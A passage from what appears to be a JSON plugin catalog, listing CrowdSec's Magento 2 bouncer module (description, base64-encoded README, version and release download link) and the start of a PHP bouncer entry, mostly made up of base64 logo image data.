wCN8bXL4QgRAiEAIhXgcQQgRCiEAIhHgdQAgRCCECIRDidQAhRCCE+DBC+N7g8oUIhBCBECKeHwghAiFEIISI5wdCiEAIEQgh4nUAIUQghPiwCN8bXL4QgRAiEAIhXgcQQgRCiEAIhHgdQAgRCCECIRDidQAhRCCE+DBC+N7g8oUIhBCBECKeHwghAiFEIISI5wdCiEAIEQgh4nUAIUQghPio+C9f/JnKyTbSmwAAAABJRU5ErkJggg==", "url": "https://github.com/crowdsecurity/cs-magento-bouncer", "description": "CrowdSec is an open-source cyber security tool. This module blocks detected attackers or display them a captcha to check they are not bots.", "stars": 5, "downloads": 44, "readme_content": "IVtDcm93ZFNlYyBMb2dvXShodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9jcy1tYWdlbnRvLWJvdW5jZXIvbWFpbi9kb2MvaW1hZ2VzL2xvZ29fY3Jvd2RzZWMucG5nKSAKCiMgQ3Jvd2RTZWMgQm91bmNlciBleHRlbnNpb24gZm9yIE1hZ2VudG8gMgoKPiBUaGlzIE1hZ2VudG8gMiBtb2R1bGUgYWxsb3dzIHlvdSB0byBhcHBseSBkZWNpc2lvbnMgZnJvbSBDcm93ZFNlYyBkaXJlY3RseSB3aXRoaW4gdGhlIE1hZ2VudG8gMiBhcHBsaWNhdGlvbi4KClshW1ZlcnNpb25dKGh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vZ2l0aHViL3YvcmVsZWFzZS9jcm93ZHNlY3VyaXR5L2NzLW1hZ2VudG8tYm91bmNlcj9pbmNsdWRlX3ByZXJlbGVhc2VzKV0oaHR0cHM6Ly9naXRodWIuY29tL2Nyb3dkc2VjdXJpdHkvY3MtbWFnZW50by1ib3VuY2VyL3JlbGVhc2VzKQpbIVtFbmQgdG8gZW5kIHRlc3RzXShodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy1tYWdlbnRvLWJvdW5jZXIvYWN0aW9ucy93b3JrZmxvd3MvZW5kLXRvLWVuZC10ZXN0LXN1aXRlLnltbC9iYWRnZS5zdmcpXShodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy1tYWdlbnRvLWJvdW5jZXIvYWN0aW9ucy93b3JrZmxvd3MvZW5kLXRvLWVuZC10ZXN0LXN1aXRlLnltbCkKWyFbU3RhdGljIGFuZCB1bml0IHRlc3RzXShodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy1tYWdlbnRvLWJvdW5jZXIvYWN0aW9ucy93b3JrZmxvd3Mvc3RhdGljLWFuZC11bml0LXRlc3Qtc3VpdGUueW1sL2JhZGdlLnN2ZyldKGh0dHBzOi8vZ2l0aHViLmNvbS9jcm93ZHNlY3VyaXR5L2NzLW1hZ2VudG8tYm91bmNlci9hY3Rpb25zL3dvcmtmbG93cy9zdGF0aWMtYW5kLXVuaXQtdGVzdC1zdWl0ZS55bWwpClshW0luc3RhbGxhdGlvbiBhbmQgdmFybmlzaCB0ZXN0c10oaHR0cHM6Ly9naXRodWIuY29tL2Nyb3dkc2VjdXJpdHkvY3MtbWFnZW50by1ib3VuY2VyL2FjdGlvbnMvd29ya2Zsb3dzL2luc3RhbGxhdGlvbi1hbmQtdmFybmlzaC10ZXN0LXN1aXRlLnltbC9iYWRnZS5zdmcpXShodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy1tYWdlbnRvLWJvdW5jZXIvYWN0aW9ucy93b3JrZmxvd3MvaW5zdGFsbGF0aW9uLWFuZC12YXJuaXNoLXRlc3Qtc3VpdGUueW1sKQpbIVtMaWNlbmNlXShodHRwczovL2ltZy5zaGllbGRzLmlvL2dpdGh1Yi9saWNlbnNlL2Nyb3dkc2VjdXJpdHkvY3MtbWFnZW50by1ib3VuY2VyKV0oaHR0cHM6Ly9naXRodWIuY29tL2Nyb3dkc2VjdXJpdHkvY3MtbWFnZW50by1ib3VuY2VyL2Jsb2IvbWFpbi9MSUNFTlNFKQoKCiMjIFVzYWdlCgpTZWUgW1VzZXIgR3VpZGVdKGh0dHBzOi8vZ2l0aHViLmNvbS9jcm93ZHNlY3VyaXR5L2NzLW1hZ2VudG8tYm91bmNlci9ibG9iL21haW4vZG9jL1VTRVJfR1VJREUubWQpCgojIyBJbnN0YWxsYXRpb24KClNlZSBbSW5zdGFsbGF0aW9uIEd1aWRlXShodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy1tYWdlbnRvLWJvdW5jZXIvYmxvYi9tYWluL2RvYy9JTlNUQUxMQVRJT05fR1VJREUubWQpCgoKIyMgVGVjaG5pY2FsIG5vdGVzCgpTZWUgW1RlY2huaWNhbCBub3Rlc10oaHR0cHM6Ly9naXRodWIuY29tL2Nyb3dkc2VjdXJpdHkvY3MtbWFnZW50by1ib3VuY2VyL2Jsb2IvbWFpbi9kb2MvVEVDSE5JQ0FMX05PVEVTLm1kKQoKIyMgRGV2ZWxvcGVyIGd1aWRlCgpTZWUgW0RldmVsb3BlciBndWlkZV0oaHR0cHM6Ly9naXRodWIuY29tL2Nyb3dkc2VjdXJpdHkvY3MtbWFnZW50by1ib3VuY2VyL2Jsb2IvbWFpbi9kb2MvREVWRUxPUEVSLm1kKQoKCiMjIExpY2Vuc2UKCltNSVRdKGh0dHBzOi8vZ2l0aHViLmNvbS9jcm93ZHNlY3VyaXR5L2NzLW1hZ2VudG8tYm91bmNlci9ibG9iL21haW4vTElDRU5TRSkK", "status": "stable", "version": "v1.5.0", "assets": [ { "name": "crowdsec-magento2-module-bouncer-1.5.0.zip", "download_url": "https://github.com/crowdsecurity/cs-magento-bouncer/releases/download/v1.5.0/crowdsec-magento2-module-bouncer-1.5.0.zip", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-magento-bouncer/releases/assets/77202498" } ] }, { "name": "cs-php-bouncer", "author": "crowdsecurity", "logo": "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